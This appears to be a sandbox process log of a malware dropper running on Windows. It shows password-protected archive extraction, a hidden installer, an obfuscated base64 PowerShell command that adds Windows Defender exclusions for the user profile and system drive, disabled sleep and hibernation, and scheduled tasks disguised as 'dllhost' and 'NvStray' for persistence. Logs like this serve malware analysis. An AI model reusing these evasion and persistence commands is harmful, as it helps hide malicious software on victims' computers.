mode.com mode 65,10
22607z.exe 7z.exe e file.zip -p2644924162377919422435812936 -oextracted
23167z.exe 7z.exe e extracted/file_2.zip -oextracted
23647z.exe 7z.exe e extracted/file_1.zip -oextracted
2416attrib.exe attrib +H "Installer.exe"
2464cmd.exe "cmd.exe" /C powershell -EncodedCommand "PAAjADMAQwA1AGkARQBMAHUAbwBFACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAbgBVAGUAdQBMACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAEoAdwBaAE8AZAA5AG4AaQBqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAFoAMwBWAFQATABvAEQAcwBXACMAPgA=" & powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 & powercfg /hibernate off
2736powershell.exe powershell -EncodedCommand "PAAjADMAQwA1AGkARQBMAHUAbwBFACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAbgBVAGUAdQBMACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAEoAdwBaAE8AZAA5AG4AaQBqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAFoAMwBWAFQATABvAEQAcwBXACMAPgA="
2792powercfg.exe powercfg /x -hibernate-timeout-ac 0
2872powercfg.exe powercfg /x -hibernate-timeout-dc 0
2932powercfg.exe powercfg /x -standby-timeout-ac 0
3040powercfg.exe powercfg /x -standby-timeout-dc 0
444powercfg.exe powercfg /hibernate off
1508cmd.exe "cmd.exe" /c SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"
508cmd.exe "cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk1099" /TR "C:\ProgramData\Dllhost\dllhost.exe"
2380schtasks.exe SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk1099" /TR "C:\ProgramData\Dllhost\dllhost.exe"
2484